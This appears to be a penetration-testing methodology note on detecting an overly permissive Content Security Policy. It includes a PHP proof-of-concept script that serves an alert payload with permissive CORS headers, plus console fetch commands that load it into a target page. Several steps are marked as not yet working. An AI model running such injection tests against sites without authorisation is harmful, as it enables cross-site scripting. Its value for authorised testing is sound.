Test for overly permissive Content Security Policy (CSP).
- CSP: script-src (Mozilla)
- OWASP CSP Cheat Sheet (OWASP)
- Content Security Policy (CSP) Bypass (HackTricks)
- CSP bypass: self + ‘unsafe-inline’ with Iframes (HackTricks)
See the OWASP Testing Guide on WSTG-CONF-12.
Vulnerability description for reporting available in VulnDB (GitHub)
In HTTP response headers, the content security policy header should be checked to validate that it is not too permissive.
CSP can be delivered to the user agent in different techniques.
Content-Security-Policy
HTTP response header field. This is the most preferred technique.<meta>
HTML element withhttp-equiv
attribute set toContent-Security-Policy
. These elements need to be placed as early as possible in the documents.Content-Security-Policy-Report-Only
HTTP response header field. This header is used when the developer is unsure of the CSP behavior and wants to monitor it, instead of enforcing it.
Testing
Using Burp Suite tool, intercept requests and visit the website. The Content-Security-Policy HTTP header is not set in the server response.
- Open a browser (Chrome was used) and visit the website.
- Open the Inspector and go to the Console tab. The command demonstrate the ability to reach out to an untrusted domain.
fetch('https://loremflickr.com/320/240/alpaca')
POC
Create file csp_poc.php
<?php
header("Content-Type: application/javascript");
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: access");
header("Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS");
header("Access-Control-Allow-Credentials: true");
?>
alert("jQuery XSS POC for: " + document.domain);
Start an HTTP server
cd <website directory>
# Python 2.7
python -m SimpleHTTPServer 80
# Python 3.x
python -m http.server
# Windows
C:\Python27\python.exe -m SimpleHTTPServer 8081
Visit the vulnerable website – the one with the CSP too permissive.
Open the web console – TO BE VALIDATED, NOT WORKING YET
$.get('http://127.0.0.1:8081/csp_poc.php')
Chrome & Firefox console – TO BE VALIDATED, NOT WORKING YET
fetch('http://127.0.0.1:8081/csp_poc.php')
Works in Chrome (returns PromiseState: fullfilled)
fetch('https://dummyimage.com/100/ff6666&text=CSP')
fetch('https://gist.github.com/modalsoul/3868393.js')
Not vulnerable if message:
Access to fetch at 'http://127.0.0.1:8081/csp_poc.php' from origin '<vulnerable url>' has been blocked by CORS policy...
Cross-Origin Request Blocked
The command demonstrate the ability to reach out to an untrusted domain to execute malicious script.